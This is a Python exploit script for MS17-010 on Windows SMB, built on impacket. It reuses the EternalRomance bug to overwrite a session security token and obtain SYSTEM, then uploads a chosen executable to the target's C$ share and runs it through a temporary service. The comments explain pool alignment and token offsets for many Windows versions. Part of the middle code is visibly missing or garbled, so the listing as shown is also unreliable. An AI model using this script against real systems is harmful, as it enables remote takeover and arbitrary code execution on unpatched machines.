#!/usr/bin/python from impacket import smb, smbconnection from mysmb import MYSMB from struct import pack, unpack, unpack_from import sys import socket import time import string import random import os.path ''' MS17-010 exploit for Windows 2000 and later by sleepya Note: - The exploit should never crash a target (chance should be nearly 0%) - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed Tested on: - Windows 2016 x64 - Windows 10 Pro Build 10240 x64 - Windows 2012 R2 x64 - Windows 8.1 x64 - Windows 2008 R2 SP1 x64 - Windows 7 SP1 x64 - Windows 2008 SP1 x64 - Windows 2003 R2 SP2 x64 - Windows XP SP2 x64 - Windows 8.1 x86 - Windows 7 SP1 x86 - Windows 2008 SP1 x86 - Windows 2003 SP2 x86 - Windows XP SP3 x86 - Windows 2000 SP4 x86 ''' USERNAME = '' PASSWORD = '' ''' A transaction with empty setup: - it is allocated from paged pool (same as other transaction types) on Windows 7 and later - it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier - no lookaside or caching method for allocating it Note: method name is from NSA eternalromance For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit for freed pool from large pool). Additionally, the exploit does the information leak to check transactions alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later. For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server). Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback of this method is we cannot do information leak to verify transactions alignment before OOB write. So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier. ''' ''' Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() win7 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; PACCESS_TOKEN Token; // 0x08 DWORD xx2; BOOLEAN CopyOnOpen; // 0x14 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x18 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x20 } win2012 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; QWORD xx2; QWORD xx3; PACCESS_TOKEN Token; // 0x18 DWORD xx4; BOOLEAN CopyOnOpen; // 0x24 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x28 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x30 } SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns STATUS_SUCCESS when Token is NULL. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) to do all SMB operations. Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only ImpersonateSecurityContext() is used in these Windows versions. ''' ########################### # info for modify session security context ########################### WIN7_64_SESSION_INFO = { 'SESSION_SECCTX_OFFSET': 0xa0, 'SESSION_ISNULL_OFFSET': 0xba, 'FAKE_SECCTX': pack('= x success = True if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0: print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!') print('RestrictedSids: 0x{:x}'.format(RestrictedSids)) print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount)) success = False print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount)) print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr)) return success, userAndGroupCount, userAndGroupsAddr def get_group_data_from_token(info, tokenData): userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET'] userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET'] # try with default offsets success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset) # hack to fix XP SP0 and SP1 # I will avoid over-engineering a more elegant solution and leave this as a hack, # since XP SP0 and SP1 is the only edge case in a LOT of testing! if not success and info['os'] == 'WINXP' and info['arch'] == 'x86': print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround') userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'] userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'] # try with hack offsets success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset) # still no good. Abort because something is wrong if not success: print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD') sys.exit() # token parsed and validated return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset def random_generator(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for x in range(size)) def send_and_execute(conn, arch): smbConn = conn.get_smbconnection() filename = "%s.exe" % random_generator(6) print "Sending file %s..." % filename #In some cases you should change remote file location #For example: #smb_send_file(smbConn, lfile, 'C', '/windows/temp/%s' % filename) #service_exec(conn, r'cmd /c c:\windows\temp\%s' % filename) smb_send_file(smbConn, lfile, 'C', '/%s' % filename) service_exec(conn, r'cmd /c c:\%s' % filename) def smb_send_file(smbConn, localSrc, remoteDrive, remotePath): with open(localSrc, 'rb') as fp: smbConn.putFile(remoteDrive + '$', remotePath, fp.read) # based on impacket/examples/serviceinstall.py # Note: using Windows Service to execute command same as how psexec works def service_exec(conn, cmd): import random import string from impacket.dcerpc.v5 import transport, srvs, scmr service_name = ''.join([random.choice(string.letters) for i in range(4)]) # Setup up a DCE SMBTransport with the connection already in place rpcsvc = conn.get_dce_rpc('svcctl') rpcsvc.connect() rpcsvc.bind(scmr.MSRPC_UUID_SCMR) svcHandle = None try: print("Opening SVCManager on %s....." % conn.get_remote_host()) resp = scmr.hROpenSCManagerW(rpcsvc) svcHandle = resp['lpScHandle'] # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: raise e # Unexpected error else: # It exists, remove it scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) os.path print('Creating service %s.....' % service_name) resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') serviceHandle = resp['lpServiceHandle'] if serviceHandle: # Start service try: print('Starting service %s.....' % service_name) scmr.hRStartServiceW(rpcsvc, serviceHandle) # is it really need to stop? # using command line always makes starting service fail because SetServiceStatus() does not get called #print('Stoping service %s.....' % service_name) #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception as e: print(str(e)) print('Removing service %s.....' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) except Exception as e: print("ServiceExec Error on: %s" % conn.get_remote_host()) print(str(e)) finally: if svcHandle: scmr.hRCloseServiceHandle(rpcsvc, svcHandle) rpcsvc.disconnect() if len(sys.argv) < 2: print("{} [port] [pipe_name]".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] lfile = sys.argv[2] port = 445 pipe_name = None if len(sys.argv) < 5 else sys.argv[4] try: if sys.argv[3] != '': port = int(sys.argv[3]) except: pass if not os.path.isfile(lfile): print("File not found %s" % lfile) sys.exit(1) exploit(target, port, pipe_name) print('Done')